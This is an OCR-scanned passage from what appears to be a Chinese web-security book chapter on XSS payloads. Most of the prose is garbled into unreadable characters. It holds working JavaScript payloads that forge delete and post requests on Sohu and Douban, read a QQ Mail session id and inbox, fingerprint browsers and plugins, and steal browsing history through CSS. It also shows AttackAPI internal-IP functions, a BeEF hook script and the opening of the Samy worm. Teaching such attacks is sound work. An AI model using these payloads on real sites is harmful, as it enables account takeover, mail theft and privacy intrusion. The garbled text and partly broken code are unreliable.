X TR E R, R EAE =R id, BLAEs I XA SR BRIX e S T o AEA
CEEMT id A& 156713012,

ki 2w DUE S N — 5K R R AR — A GET 35K

var img = document.createElement ("img") ;
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document .body.appendChild (img) ;

Yok Wi AR A & A TIX B JavaScript RS (XSS Payload), M2 40X s SCFE M
o FEHAMRME, Ykl XSS i H P $U7 XSS Payload.

FER— AT RIS B POST sk, T 4 el A 56 XSS Bkt ?

T4 7& Douban [f]—AbR 5L, i Z il JavaScript & Hi—4> POST 13K, $EA70bRH,
AR 4HHEE.

EIEFEOT, KRHE—&MEE, XS RNAE:
el

It E) GIEE | B0 BFW o

POST / HITP/1.1
Host: www, douban, com
Tser-figent: Mozilla/6.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.7) Gecko/20100701
Firefoz/3. 6.
lAccept: text/himl, application/xhtml+anl, application/zml; =0, 8, %/*; g=0.8
\iccept—Language: zh—cn
\hocept-Encoding: gzip, deflate
liccept-Charset: GR231Z, utf-5;q=0. T, *;q=0. T
Keep—Aliwve: 115
Commection: keep—alive
Referer: http://wwy. douban. com/
Cockie: bid="FXJEnicAcRY";

|__utna=30149230, 810225150, 1268445014, 1272516867, 1279523075, 28

| utmz=30149280. 127694087 7. 16. 4. utmesr= haldu\utmccn (nrganm”utmcmd orzanic|utmetr=%
IC 2%CCHD 2KFORBENF 3% AXE 2% SXEAXEANC 3NE 35D, ue="opensystenPemail. con”;

|__utmv=30149280. 131;
| zads=10=683404d82 420406 : T=1250083046 : SSALNT_MZH5AB3FYY2rUi01piPhaPTAzL1CA;
11="118172"; wiewed="4723970_4163938_1417205"; f=content; dbcl2="1318750:MlaloZ8Dubc”;
report=; ck="Tillf", _ utme=30149280; _ utmb=30149280. 2. 10. 1279523075

ck=TiTTmb_ tex t=4E5%31 %0 ANE4%Ba%AAKE SHBOKSFNEGHEINIERESNAFHIE

Douban b & #H S iE R
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BRAIX R, AR TR, BRIk, iG-S form REL, SRS A Zh#RATXA
LY
var f = document.createElement ("form") ;
f.action = "";

f.method = "post";
document.body.appendChild (f) ;

var il = document.createElement ("input");
il.name = " ck";
il.value = " JiUuY";

f.appendChild(il) ;

var i2 = document.createElement ("input") ;
i2.name = " mb text";
i2.value = "testtesttest";

f.appendChild (i2) ;

f.submit () ;

WAL R SHIRZ )1, I HIE DOM Rt o, AU S AER UK. priiny B
5 HTML AU, XA AT AU RS R 2, 0 PP

var dd = document.createElement ("div") ;

document .body.appendChild (dd) ;

dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+

'<input type="text" value="testtesttest" name="mb text" />'+

'</form>"'

document.getElementById ("xssform") .submit () ;

H AR AR R ) :
2 do ba BE RMEH  REE BE sl
im, axis

BE

anisif ¢
%‘ testtesttest + BIF

FEiR L
axisii ¢

testtesttest « EIE
A iREE

IR B AR AR B
5 ROk, it XMLHttpRequest 3% —> POST 5K :

var url = "http://www.douban.com";
var postStr = "ck=JiUY&mb text=testl1234";
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var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest () ;
}
else if (window.ActiveXObject) {
ajax = new ActiveXObject ("Microsoft.XMLHTTP") ;
}
else{
return;

}

ajax.open ("POST", url, true);

ajax.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded") ;
ajax.send (postStr) ;

ajax.onreadystatechange = function () {

if (ajax.readyState == 4 && ajax.status == 200) {
alert ("Done!") ;

FRRARAC ) -
BWHEK EBiEt BElHEy BWEF e BEWMES

EME axisk

2% doba BN Bme# RO G EEn

¥iB, axis

nx
anisif ¢
%“] test] 234 o EIRE
ik
axis 1R I
testtesttest o Bl
EHER -

@il XMLHttpRequest & ¥ B k1)
T RLXAM 71T LUE 26 ), {8 TavaScript A48L 30 5028 & A0 3 AN — 1 A HE ) 4

JTA XSS Biitifa, Budid& ke Tl LA “Cookie B4 7 4b, ICREMSIE LA GET. POST
TR AR SEAS  X AR L BRI P AR AT, LRl “ Cookie BE” RALIN, B
B3 A W9 26 AN BE DT i) ELIER R S5 Do

XA R s dn T i XSS Payload L QMail F M BB SO
T CHE A L TG SRS W SR I B A BB R 1 . B4 m, W LLGE 3
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M\qﬁ I I QQUPsE < wwmsismw o0 com> ¥

mail_qq. cnm ST | #E - B

s LA, <adiapayaq.com.
& Wefs B 46 SRR
E] BREA Witk (33) Hbi(13) RhETR(79)
W (33)
Hoee(13)
e HFFEHETE
B
== N q SEHBEFTRM &
1S L= | R, RTEEAEREENE. THiEE
QOHRT ]
QQ B4Ry S i

s “WER” Ja, B RIMPESIRR . IR AL TS A T W R K.

http://m57.mail.qq.com/cgi-bin/mail list?sid=6alhx3p5yzh9%a2om7U51dDyz&folderid=1&page
=0&s=inbox&loc=folderlist,,, 1l

MR (3t 66 B, Hop i 33 H)
Wes | wommps | w2 | =28 | mEw. v mmEL. v

r || EEEA *:
IR PR 33 SAAERNY , ERLL 2R A TE B EmERRrE
LR zsh
r QUERERR T FR SREE"?
r QUEREER W+ AREERS
BER (23
M = B EEFIE Whitehat Community E£HEThis
M = QoaRMEHE FEEHEHVIPZERT Y
| I fpEt=a) PRI TENE TR M P B
r 2 E2F= 40 SRR A S R
r FSHE S REE A RS
- HERE SRl A S S
r QR&RWMAH FEE, ERQQERS ROCRIIFIE.

QQ HIEAA I A5 2
LRI, FEREDT I BUHEAES 2R (R -

http://m57.mail.qgqg.com/cgi-bin/mail list?folderid=1l&page=0&s=inbox&sid=6alhx3p5yzh9%a2
om7U51dDyz
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VIR WS wen es se

2 5 (# 66 &, Hep 33 &)
i Weds mes | mEmez | wx | =8 | mEw Tanl. .
B BHEA EEA B2
—_——, IR 33 St AT a
WP (33)
:;g( 13) fole] s : I
BT
Bz o =

+ P
# % ##H& [ mr~ css &k pom A% Events Cookies

Ibody. frame_class hinl

<form target="actionFrame” method="FPOST" sction="/cgi-bin/foldermgr?sid=Galhz ipI7h3a2omTUS1dDra" name="=ubmit_form">
{soriptr

<div class="fdbodr bodrbebt™> <fdivy

<div id="leftPanel” clazs="newskinbodr">

{soriptr

<div id="mainFrameContainer™>

F [

F [

= <iframe id="mainFrame” frameborder="nc” hidefoeus="" name="mainFrame” sre="/cgi-bindmail_liszt{folderid-lipage-0kz-inbozk
=id=6alhz 305y 7hia zom TUS1 Dy 2 ">
# <html>
<fiframe)
<fdirs

1t Firebug 173 HT QQ MEAATK) BT If A 7%

BORAT— Gk R I S sid. TN, 34 sid ZE0%IZRM 1D
R

JTLL, XSS Payload [ /8 & 263K HL £ sid (14, SR)E M52 URL, JF{fH
XMLHttpRequest 13Kt URL, MiZit GETF EIHE1F41 T« XSS Payload WI'F:

if (top.window.location.href.indexOf ("sid=")>0) {

var sid = top.window.location.href.substr (top.window.location.href.indexOf ("sid=")
+4,24);
}

var folder url = "http://"+top.window.location.host+"/cgi-bin/mail list?folderid=
l&page=0&s=inbox&sid="+sid;

var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest () ;
}
else if (window.ActiveXObject) {
ajax = new ActiveXObject ("Microsoft.XMLHTTP") ;
}
else(
return;

}

ajax.open ("GET", folder url, true);
ajax.send(null);

ajax.onreadystatechange = function () {
if (ajax.readyState == 4 && ajax.status == 200) {
alert (ajax.responseText) ;
//document .write (ajax.responseText)
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PATIX B
IVIE ] seiaacon mssm | BE - ai
7 55 Weltkf (2t 60, Eo iEdne 23 )
& s

2] EFEA 1\ <IDOCTIEE htnl>
K (LA {Eeriptr

document. domain="gq. com”;

WHHE(33) function getTop()
i

HoBrF(13) war _oSelfFunc = arguments. callee;
i if (!_oSelfFunc. moTop)

{try{_oSelfFunc. moTop=window!=parent? (parent. getTop?parent. getTop () parent. parent. ;
ik {_oSelfFunc. moTop=window;}}

retuwrn _oSelfFunc. _moTop;
= ;
LB try{window. top=getTop ();}eateh (el feval ("var top=getTop (0;"):1

(function ()

QCHEELT ]

if (window==getTop (1) {document write( <script =sro="http:/fresedn ggmail. com/zh CH/h:
S

SREUHE AR Y 25
M A28 (1) N 25 B Eh 8 XSS Payload SREX £

Bt Z AR BN MB AR I N A G, v RSt HCRE BTS2, ot B R iR 25 4% Lo
KT LG AN K] GET 8 POST KRR, FEdAFEOR, 72X nf L H it
JavaScript SEILX /N TR

3222 XSS#&

XSS HAEJT g AERTSCHIB 5, XSS By I FEHAS AL I W% T L JavaScript JIA H
AT, e, s CSHPRE” M.

P ey SCER 2 “lid POST R E” BIZEIH, an RAEPEAS R I ER A P 4
IOAES, 84— XSS Payload #84x KRAL; MbAh, fERZE “BH P& shaed, 4
PRAT WM HT, AR TSR P i “0ld Password 7. jiX AN “Old Password”, X T-HU i & K ik,
TEAT AN FIE I o

E, Xuhae R XSS Brking ? & 52 g .

X THERY, XSS Payload AJ DA I B2 Ui N 2%, KIS UMD - URL ik B fE ik 55
fr LRt —Xli #F AT LIRS XSS Ja 6 HCA AT IEND, IR0 UEA AR [P 25 24 i 1Y)
XSS Payload, MIfi&ed 5 iEi5 .

BB R R O e e o T OTICE S, Buli# aT LR XSS 5“4 Mai &

LB BRAR (T A JavaScript AT G E “mH T — AN R SRR, AR
SHMEFRA M 2 S E WG, RO B R IR s L.
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A=A R PHE RE BT W PSS SUE SRR M mE F:E AL B e S HE WS i EE

WiE RE ER Ex WH NBA ¥F BiE 0 R B0 R OTE O WA O RE & e ihE HE EE FF bk NE FS

&) eLlong &

SHA*E: EFE BRER  EoitE: ARZCEFETE  RIEHARRRELANFERE  CMRRA) ISHRAEAEE  SR0RK: MR (=8
P WiEER

& EANZE o RSN
W S: |ax|5 |
SIS/ QS M/ NS ER B2 MC B &
= 8 | S TERRARS! B U ERE
T | seseeenes =T T
R BT HEETE BRSO 3Rk @ L3Rk
FHFRAES FREERETL ek LR = 5%
G202 R
B (AR RAEE R0 o e - - . - ERBREET®?

IEFNERERRES

HEHEES ., TEF —~
— e [P 2

CEZ v s

(B AR ORRRENI ST S ARIEAL GRE'T WALL SECURITIES

SRR TRRTHREY (55 R DR [R5 e ) a /
=

A e 1t S S A o e T RISk
13T JavaScript D88 1) 6 SR AE

RO KAy, W LMETT XSS Brati o K.
3.223 RAINARNEE

FEARZZ G, Mo o TARHUCE KA i, AR & 2R P I AE R e,
URARSNTE AL B ST 2 BRAE RS, BB i wl RE St JORSHE (30 ST 4% A B,
KM IR DA . XSS RENS T B Mo Pk BICER A BN H .

Wfarsd it JavaScript VAR VRO S 28 RROACHI 2 5 B4 K S T ad e XSS Sz W A% 1)
UserAgent % %
alert (navigator.userAgent) ;

¥ H http:/fwwx. douban. com IR : il

1 MozillafS. 0 (Findews; U; Windows HT S5.1; zh—CH; r+:1 9. 2.T) Gecke/20100713 Firefox/3.6.T

_E

W21 UserAgent X %

ARG, SURRAR 2 %7 b (045

OSHRAS: Windows NT 5.1 (XAZWindows XPJAZRA)
W ASIRA: Firefox 3.6.7
REES: zh-CN (fRjifEF 30

AL 0] W 1) UserAgent AT LA o Lhl, Firefox AR 24 W LABE R F & SCH b
A5 KIX ) UserAgent. T LA JavaScript HUH SR IX AN W 0T %, 15 BIFA & #EF .

EX TR UL, A S8 P T, AT LS R I R0 ™ B0 S FBUAS o
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F 30 S 2 T [ SEBAAE 22— AN AR S A 25 2% A S DL S8R (K Zhisg,  mofe]—A>
D L% A I RRAS Z 1) B T RE ST AR ZE 0 P LAOELIRL 73 I S W s 2 IR R 22 5, B REMET
Hi T S RRCAS, T LA SRR . X7 IA LI UserAgent ZEHER{1F 2

22 LU MY

if (window.ActiveXObject){ // MSIE 6.0 or below

//HABESREIE 7L E
if (document.documentElement && typeof document.documentElement.style.maxHeight!=
"undefined" ) {

//FIWT R IE 8+
if ( typeof document.adoptNode != "undefined") { // Safari3 & FF & Opera & Chrome
& IES8
//MSIE 8.0 PARINEALR ALK, FrLl//fEIXHEZEIE 8
}
// MSIE 7.0 WHZAIE 7

return "msie";
}
else if (typeof window.opera != "undefined") { //Operallli
// "Opera "+window.opera.version ()
return "opera';
}
else if (typeof window.netscape != "undefined") { //Mozilla i/
// "Mozilla"
// AT DAHERR R K IR AR
if (typeof window.Iterator != "undefined") {

// Firefox 2 DL EFFXANS

if (typeof document.styleSheetSets != "undefined") { // Firefox 3 & Opera 9
// Firefox 3 [FIIHE XL MMIRE Firefox 37T

}
return "mozilla";

}

else if (typeof window.pageXOffset != "undefined") { // Mozilla & Safari
//"Safari"
try{
if (typeof external.AddSearchProvider != "undefined") { // Firefox & Google Chrome

//Google Chrome
return "chrome";
}
} catch (e) {
return "safari";

}

else { //unknown
//Unknown
return "unknown";



HI3T BWiEAYGE (XSS) 55

XBAUE, 2T USRI X5, BENE YU ST 38 I RRRCAS . cAX AN 1 s, id
AILAREIEE 2 AR BT B

“ZA i Gareth Heyes 1 22 385 — R sE 540 (¥ 5", Sl Rl ARRS 7 AR, BRI AT 300 A
[Fl P00 B85 o

//Firefox detector 2/3 by DoctorDan
FF=/a/[-1]=="a"'

//Firefox 3 by me:-

FF3=(function x(){}) [-5]=="x"
//Firefox 2 by me:-

FF2=(function x(){}) [-6]=="x"

//IE detector I posted previously
IE="\v'=="v"

//Safari detector by me

Saf=/a/. proto =='//"'

//Chrome by me

Chr=/source/.test ((/a/.toString+'"))
//Opera by me

Op=/"function \ (/.test([].sort)
//IE6 detector using conditionals
try {IE6=@cc _on Q@ jscript version <= 5.7&&Q@ jscript build<10000

R a7 4 —AT A, Rl

B=(function x () {}) [-5]=="x"?2'FF3':(function
x(){}) [-6]=="x"?2"FF2':/a/[-1]=="a'?'FF':'\v'=="v'?'IE':/a/. proto =='//'?'Saf':/s/.
test (/a/.toString)?'Chr':/~function \(/.test([].sort)?'Op': 'Unknown'

3.224 RAARREHRYG
FNIE T PRI S g . BRAE RS G, BB DL 2 e i

ZE IE v, wJ UGB AW ActiveX #5441 classid /& T AFAE, RHENF 215 2038 7% 845
XM ITIFAR i T “HE S Y7 —— R AW P e A, RS I IR ) U A
T, BZORBREAR LI

G F AR
try {
var Obj = new ActiveXObject (‘XunLeiBHO.ThunderIEHelper’);

} catch (e) {

ST AMEAEZET

X BRI R IR EE 1 — A4 (“XunLeiBHO.ThunderlEHelper”) J& {547 1E. WIS %

1 http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/
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e TR A, WA S 2k bR . SR A Wt R Ar R0 ke T R ER B
frar et

I AR LR ARG classid, AT LA TP AU R 2 KRR SRR, SR AR AR
A

— IS = A AT RE S R — 255 Bl . LB Flash H—) system.capabilities ¥J %, B
V2% ) v EEL G RS R

Capabilities class property |Server string
avHardwareDbisable D
hasfccessibility ACC
hastudic B
hasaudioEncoder AE
hasEmbeddedyideo Ev
hasIME IME
hasMP3 MP3
hasPrinting PR
hasscreenBroadcast SB
hasScreenPlayback SP
hasstreamingfudio S
hasstreamingyideo W
hasTLS TLS
hasyideocEncoder WE
isDebugger DEE
Tanguage L
TocalFileReadDisable LFD
manufacturer ul
as os
pixelispectRatio AR
plaverType PT
screenColor CoL
screenDPI el
screenkesolution R
screenkesolutiony R
wersion

Flash f] system.capabilities %§ %

7£ XSS Payload " {fi I, W LLFE Flash ) ActionScript 1 is2H) system.capabilities ¥} % )5 ,
Fegh Wit Externallnterface 1545 ULTHIMY JavaScripte X AMEFEEIAFFART o

2% (00 FE AN 1L ek XSS Payload FHHIK . LLBNR T Firefox FIIFRIFE, 47
R IR Rl 7325

Firefox 1461 (Plugins) ¥R AFIAE—4> DOM X4, il i) DOM uf DLk [y H BT 5
SOEGIEE
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Coockies

* _——
‘év‘ ¥ B#M& wmoo css W&k [ DoMv | A% Events
= navigator
get appCodeName

gek appMame

gek app¥ersion
get buildID

get cookieEnabled

m

get geolocation
get language
get mimeTypes
gek onLine

F

gek oscpu
get platform
= get plugins
=0
=0
get description
+ get enabledPlugin
get suffires
gek type
construckor
gek description
get filename
get length
gek name

nek werkinn

Havigator { constructor—Fawigator, more..}
"Mozilla”

“Wetzeape”

“5.0 (Rindows; zh-CH)"

TE0L00T13150626"

true

teoteolocation { constructor=feofeclocation}

“zh-CH"

MimeTrpedrray { O=NimeTIrpe, more..}
true

“Rindows HT 5.1°

“Winzz"

Plugindrray [ 0=Plugin, more..}
Plugin { 0=MimeTrpe, more..}

NimeTrpe [ constructor=MimeTrpe, mMore.. }
“getplusplusadobelnzdl”

Plugin { 0=NimeIrpe,

more... }

“application/Eetplusplusadobelf2d4l”
HimeTrpe { }
“getplusplusadobels2dl”

“np_gp. 4117

1

“getPlusPlus for Adobe 162417
“1.B.2. 41"

Firefox f¥] plugins %} %

FrCLE A # “navigator.plugins”

“navigator.plugins[0]”-
M Firefox MY & (Extension) ZE&E4v—4L,
JERTEIRR, SRAIW AR I RS S A .

fE Firefox TH — /MR
F. Ll Flash Got 9 (M bR, wI LAIXFETS ) :

chrome://flashgot/skin/icon32.png

X5, Hine

chrome://, Firefox B3 & & ¥xa] DL

PRI PATHAEIE T o A2 BB PR i 2
A LZEWIUE M T A5k iy

LA )

F14 Firefox ¥ I, HFAE JavaScript " INEEX 5K Fr, iR INg ek, WY RAAE: &

2 YIEAAE,

var m = new Image();
m.onload = function() {
alert (1) ;
/ /R AFAE
}i
m.onerror = function() {
alert (2);
/B AP
}i
m.src = "chrome://flashgot/skin/icon32.png";

3.2.2.5 CSS History Hack

/I ERRE

BAVHER HA— DRI XSS Payload—# it CSS, AR 5 88 207 1) i 1) w2t
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XA I A Jeremiah Grossman &3, HJEFEEFIH style ) visited J& E—mn FHH 7
M i AN, AR B A1 5 AN ]

<body>

<a href=# >WZYinLHI</a>

<a href="notexist" >R iLH</a>
</body>

A 2R R I A BE RS AAS R (R

BiEVHELTRY R EVHELT

LA Rsnake A5 1A POC?, HACRWIT:

o s
CSS History Hack
Originally found here but permanantly hosted on ha.clers org with Jeremiah's permission

Ha. cleers. org home || Jeremiah's blog

Firefox Only! (1.5 - 2.0) tested on Wind(P
Visited

® hitpimeadl vaheo. com’
o hitpdiaare. moogle. com/

Not Visited

o hitpitha, cleers. orgiblog!

o hitp/ilogin yahoo. com/

® httpfimail google. com/

® httpfimy vahoo.com/

o httpfisla ckers. org/forum/

o httpfislachdot org/

o hittpfwrww. amazon. com/

o httpdieran. aol com)’

o hitp e apele. com’

® http:/fwwrw bank ofamerica. com/

Rsnake 37 [ B

ZLEhRIC ), WS P vk s (BRI Visited RPN D

> POC RS 41 T
<script>
€l==
/ *

NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

2 http://ha.ckers.org/weird/CSS-history-hack.html
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* Redistributions of source code must retain the above copyright notice,

this list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.

* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software

without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF

THE POSSIBILITY OF SUCH DAMAGE.

*/

/* A short list of websites to loop through checking to see if the victim has been there.
Without noticable performance overhead, testing couple of a couple thousand URL's is
possible within a few seconds. */
var websites = [
"http://ha.ckers.org/blog/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://my.yahoo.com/",
"http://sla.ckers.org/forum/",
"http://slashdot.org/",
"http://www.amazon.com/",
"http://www.aol.com/",
"http://www.apple.com/",
"http://www.bankofamerica.com/",
"http://www.bankone.com/",
"http://www.blackhat.com/",
"http://www.blogger.com/",
"http://www.bofa.com/",
"http://www.capitalone.com/",
"http://www.cgisecurity.com/",
"http://www.chase.com/",
"http://www.citibank.com/",
"http://www.cnn.com/",
"http://www.comerica.com/",
"http://www.e-gold.com/",
"http://www.ebay.com/",
"http://www.etrade.com/",
"http://www.flickr.com/",
"http://www.google.com/",
"http://www.hsbc.com/",
"http://www.icg.com/",
"http://www.live.com/",
"http://www.microsoft.com/",
"http://www.microsoft.com/en/us/default.aspx",
"http://www.msn.com/",
"http://www.myspace.com/",
"http://www.passport.net/",
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"http://www.paypal.com/",
"http://www.rsaconference.com/2007/US/",
"http://www.salesforce.com/",
"http://www.sourceforge.net/",
"http://www.statefarm.com/",
"http://www.usbank.com/",
"http://www.wachovia.com/",
"http://www.wamu.com/",
"http://www.wellsfargo.com/",
"http://www.whitehatsec.com/home/index.html",
"http://www.wikipedia.org/",
"http://www.xanga.com/",
"http://www.yahoo.com/",
"http://www2.blogger.com/home",
"https://banking.wellsfargo.com/",
"https://commerce.blackhat.com/",

17

/* Loop through each URL */
for (var 1 = 0; i < websites.length; i++) {

/* create the new anchor tag with the appropriate URL information */
var link = document.createElement ("a");

link.id = "id" + 1i;

link.href = websites[i];

link.innerHTML = websites[i];

/* create a custom style tag for the specific link. Set the CSS visited selector to a
known value, in this case red */

document.write ('<style>"');

document ..write ('#id' + i + ":visited {color: #FF0000;}1");

document.write ('</style>');

/* quickly add and remove the link from the DOM with enough time to save the visible computed
color. */

document.body.appendChild(link) ;

var color =
document.defaultView.getComputedStyle (1ink, null) .getPropertyValue ("coloxr") ;
document.body.removeChild (link) ;

/* check to see if the link has been visited if the computed color is red */
if (color == "rgb (255, 0, 0)") { // visited

/* add the link to the visited list */

var item = document.createElement ('1li');
item.appendChild (1ink) ;
document.getElementById('visited') .appendChild(item) ;

} else { // not visited

/* add the link to the not visited list */

var item = document.createElement ('li');
item.appendChild (1ink) ;
document.getElementById('notvisited') .appendChild(item) ;

} // end visited color check if
} // end URL loop

1) ===
</script>
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{H2 Firefox 7t 2010 4F 3 J KPS EHMNZA B8, BRI, AKX Bt 5 1 o) & T e e
Mozilla I Va5 T AN S FRLREAFAE T o

3226 HFEAFPHMESIP ik
ik XSS Payload i FMEREL L% 7 ity ) A Hb TP ikl .

IRZ W, P B TACEE RS54, BB 7E SRk o rp BEORAE. NAT S5 i . Puh & 201
&P TP Huhik, SN MR 0 TP Mk, Ty IRAEH P R ESE A TP kb . el A e AN TE H
FURAS TP il 2

JavaScript A & F-% A FEARIAMS 1P bk (R fe Jr, A 8cA HAhIME? —Mokif, XSS I
e BRI = AR S . L, R g% T Java M EE (JRE), JIB4 XSS it v] L i
A H Java Applet {32 D 3REUE 7 it A TP ik,

£F XSS BiHESE “Attack API” /1, g — /NI IP Ml A API:
/**

* @cat DOM
* @name AttackAPI.dom.getInternallIP
* @desc get internal IP address
* @return {String} IP address
=/
AttackAPI.dom.getInternalIP = function () {
try {
var sock = new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
sock.connect (new java.net.InetSocketAddress (document.domain,
(!document.location.port) ?80:document.location.port)) ;

return sock.getLocalAddress () .getHostAddress () ;
} catch (e) {}

return '127.0.0.1';

Best, A PRI Java SRICA L 2445 EL KT APL:

/**
* @Qcat DOM
* @name AttackAPI.dom.getInternalHostname
* @desc get internal hostname
* @return {String} hostname
=/
AttackAPI.dom.getInternalHostname = function () {
try {
var sock = new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
sock.connect (new java.net.InetSocketAddress (document.domain,
(!document.location.port) ?80:document.location.port));

return sock.getLocalAddress () .getHostName () ;
} catch (e) {}
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return 'localhost';
}i
/**
* @cat DOM
* @name AttackAPI.dom.getInternalNetworkInfo
* @desc get the internal network information
* @return {Object} network information object
=/
AttackAPI.dom.getInternalNetworkInfo = function () {
var info = {hostname: 'localhost', IP: '127.0.0.1'};

try {
var sock = new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));

sock.connect (new java.net.InetSocketAddress (document.domain,
(!document.location.port) ?80:document.location.port)) ;

info.IP = sock.getLocalAddress () .getHostAddress () ;

info.hostname = sock.getLocalAddress () .getHostName () ;

} catch (e) {}

return info;

KR TR B # S —A Java Class, HRAZISHETGLII . BR T Java Z4h, —28 ActiveX
AT R PR A A TP Huhk. IXUCTNRELLACRR IR, T BRI B ARG B B AR A,
KEAFRT .

Metasploit 5 [ #4 fE7Rid— AN KM TURT, 274 T Java Applet. Flash. iTunes. Office Word.
QuickTime 2555 — J7 A IITIRE, HTHCH S A B, A GBI T LS,

3.2.3 XSS mEHFEE

XSS Payload it K, 4 TAEHITE, A 2EUTE K2 IReahaiok, ol XSS I
AP G RERE-FAREEH RN THR XSS e, DI EENRAEH . it
LA I XSS Bt .

Attack API

Attack API*E 2 &WFFLH pdp T EFM—ATH, ©ME TRZ A HEMH XSS
Payload, V145 APT )53 LEln EATSE R “IRECE S A A B APT” it i B IX AN H o

BeEF
BeEF* ¥ 2 2 F I 1) XSS V-6« ANET Attack API, BeEF JITi /s (2 — AN 52 34 ) XSS

3 http://decloak.net/decloak.html
4 http://code.google.com/p/attackapi/
5 http://www.bindshell.net/tools/beef/
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Wil . BeEF A7 MEHE &, Mo il LR e S W — 1.

800 Browser Exploitation Framework
4 [ = | [+ [ hup:/ s bindshell.net/ beef ui # & Q- Google )
View Zombies Stndard Modules Browser Modules Network Modules Options  Help Wade Alcomn (htp:/ fwww.bindshel.net
Browser Exploitation -
Framenwark &% 10.0.0.10 Log Summary
g Details
Browser
Zomhie connected Safari 5319 - Intel Mac 05
BeEF Chrame 3.0.195.21 ey oo Sl ST e e 05
Operating System )
Windows NT 5.1 T b NG baing wsed
Autorun Screen
Disabled 1440x754 with 32-bit colour Madue
. URL Reult
Zombies hitp://10.0.0.6 /beef /hook /example.php Fugn
% 10006 Cookie o Hiaude
$E 10006 BeEFSession=a042alcl741d38ee3c701f1c0a6d2245 .
£ ® 100010 Page Content
@0 10004 content 1750
$® 10.0.0.10 Modute Resuft
©® 100010 <img src="../images beef.gif" alt="BeEF">BeEF Test Page<br><br> Addoba Raader 9.0
Windows
<script language="Javascript" i 2 e Maker
sre="http://10.0.0.6/ beef/hook fbeefmagic.js.php"> </ script> Faros
The following code needs to be included in the zombie: <br> Maduie code sent
<code> Zombie connecied Frefox 3.0.14 - Linux E85
&lt;script language="Javascript’
sro="http://10.0.0.6/beef/hook fbeefmagic Js.php'&gt:&lt:/scriptégt Zombie connacied Satasi S31.9 - kel Mac 08 X
<feode> 10.5.8
<bra s

Zowbie connected: Frefox 153 - Intel Mac 05 X 10.5

Zomaie connected: Intemet Explores 8.0 - Windows NT
51

2o

4 Frefox 3.0.10 - Windows NT 5.1
Key Logger <

Keys i

d Chrome 3.0.195.21 - Windows NT

BeFF [f1)5 & i
BN XSS Bl - #CK M IRAE G &, o B i n] DU X xS AT A, FFar
PLE I XSS [miX $eH] J1 kik 4 o
XSS-Proxy

XSS-Proxy & —MNMEEH M XSS Bt V&, MLk £ iframe 1177 2 0] DL I M ze Fet 4
XSS Byt () s .

L. XSS Sitel Server
Victim Browser

XSS against site
//+
- =
Script commands run here
b * Ly
IFRAME1 ¥ ~
Sitel documents
loaded into here “
IFRAME2
“Channel”-set to
other site with info in XSS
URL(404 r
( )T Attacker System
IFRAME3 ¥, Script 4 L 3
Ad
Site2
ite2 documents //
Loaded into here 417
XSS Sitel Server

XSS-Proxy {15 i 2

XL XSS Wi P65 B FE N R XSS # 5 BEANE 5 .
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3.2.4 &K EF: XSS Worm

XSS WHETE Aol o 2 FRATTHNIE, DAAE AIGE B2 R B AR 55 8 iy R A F I TR AT AR R 1. Lh
2003 =R L, ) B2 Windows ) RPC i F2 i H R

3.24.1 Samy Worm

££ 2005 4F, 4EAY 19 % [F) Samy Kamkar & T % MySpace.com [ XSS Worm # ;. Samy
Kamkar (10 SRR R LM &G T 100 7 H P ——8 A H P i A& w5 7 —
1 : “but most of all, Samy is my hero.” (Samy &FKMEG). X /& Web L4 i — A H
211 XSS Worm, HATHLFERE L.

A RBAVE B LI 1F Samy U B 1264 2

56, MySpace L JE TIRZ KK HTML #1258, R T <a>hr%s. <img>hr%s. <div>hr
Beo R RRA Y. T G an “onclick” SEBHILIE T . HJE MySpace 1 L1 5
HIFRZEI style J& 1, I style, E/EH IMEMIEH XSS (1. Lol

<div style="background:url ('javascript:alert(1l)")">

HR, MySpace [Fi L€ T “javascript”. “onreadystatechange” 58U, JTLL Samy
HT “Premi” Gt ixLefid il

I, Samy L AJAX i 1) POST 13K, € T ZEH 1) heros 513K BL N H 2.4 710
hfE, RS B S TR . 20, XSS Worm SU5E K T o A DL 1 IS % Samy
N IOE S N R S T

T FH I Samy Worm FJEACRS o X2 BAT B L) —A> XSS Worm, [ A I AHE
GifE—ATW . N T TR, WS gl T a5

<div id=mycode style="BACKGROUND: url ('javascript:eval (document.all.mycode.expr)"')"
expr="var B=String.fromCharCode (34);
var A=String.fromCharCode (39);
function g() {
var C;
try{
var D=document.body.createTextRange () ;
C=D.htmlText
}catch (e) {
}

